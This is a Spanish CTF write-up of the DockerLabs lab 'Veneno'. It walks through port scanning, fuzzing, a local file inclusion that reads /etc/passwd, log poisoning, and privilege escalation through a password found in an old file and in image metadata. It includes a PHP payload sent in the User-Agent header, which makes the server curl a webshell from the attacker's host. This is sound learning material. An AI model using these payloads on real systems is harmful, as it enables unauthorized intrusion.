Post

Veneno , DockerLabs

portada

En este reto de DockerLabs practicamos.

  • Scan de puertos
  • LFI to RCE
  • Log poisoning
  • find

Herramientas y recursos

  • nmap
  • feroxbuster
  • wfuzz
  • exiftool

Reconocimiento y enumeracion

Lo primero como siempre le tiramos un nmap con los parámetros de costumbre.

1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX veneno  172.18.0.2

reporte

En este caso nos encontramos con el protocolo ssh abierto en su versión 7.6 y el http por el 80.

La web es la de la instalación por defecto y la versión de ssh nos invita a realizar enumeración de usuarios.

No obstante prefiero hacer un poco de fuzing pq si no hay nada para que esta corriendo.

Buscando directorios

1
feroxbuster -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 400 -u http://172.17.0.2 

uploads

Busquemos ficheros.

1
feroxbuster -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 400 -x php,txt,jpg -u http://172.17.0.2

problems

Investigamos el fichero problems.php y vemos que nos devuelve siempre al index.html pongamos lo que pongamos , por tanto esta esperando un parámetro especifico que modifique su acción.

Fuzeamos en busca del parámetro.

1
wfuzz -c --hl=363 -t 200 -w /usr/share/dict/wordlist-probable.txt -u "http://172.17.0.2/problems.php?FUZZ=/etc/passwd"

param

Una vez obtenido el parámetro podemos tratar de leer ficheros y corroboramos que podemos leer /etc/passwd.

passwd

Ya tenemos un usuario al alcance , pero en esta maquina no van por ahí los tiros así que buscamos logs que nos ayuden.

Log poisoning

Encontramos que tenemos el access.log a disposición , tratamos de envenenarlo.

log

Recordemos que teníamos el directorio uploads con permisos, así que tratamos de subir un a webshell , descargamos la que nos guste y no montamos con python un server el cual dejamos a la espera para posterior subir la webshell con la siguiente petición.

1
curl -i -v 172.17.0.2 -A "<?php system('curl 192.168.0.112:8000/webshell.php -o /var/www/html/uploads/webshell.php'); ?>"

El comando superior nos creara un nuevo registro en el access.log el cual se ejecutara cuando refresquemos la pagina y si todo ha ido bien , solo debemos entrar en /uploads y ejecutar la webshell.

uploadedshell

Intrusión

Una vez dentro nos encontramos.

in

Hacemos un ls sobre el home para ver usuarios y también sobre el directorio html en el cual encontramos un fichero curioso.

inhack

Como vemos nos dice que el fichero tiene 24 años y es el mismo desde entonces , osea que debemos buscar un fichero con esa antiguedad.

Haremos uso de find indicándole los días que hace que tiene el fichero.

1
find / -type f -mtime +8760 2>/dev/null

find

Leemos el fichero

pass1

Tenemos ya un pass imaginemos que es el de carlos. Vamos a ssh

Una vez logueados con Carlos revisamos su home y nos encontramos lo siguiente.

carp

Esa estructura nos lleva a suponer que hay algo escondido. Ejecutando un ls -laR podemos listar todo y veremos lo que nos interesa.

foto

Nos montamos un server con python y descargamos la imagen para analizarla.

Le pasamos exiftool y veremos una pass conocida.

rootpass

root

Muchas gracias por llegar hasta aquí , aprendamos juntos y compartamos el conocimiento sea mucho o poco tu opinión puede aportar siempre.

Si fuzeamos demasiado podemos tener problemas para cargar el access.log , recomiendo en ese caso reiniciar la maquina.

This post is licensed under CC BY 4.0 by the author.

Comments powered by Disqus.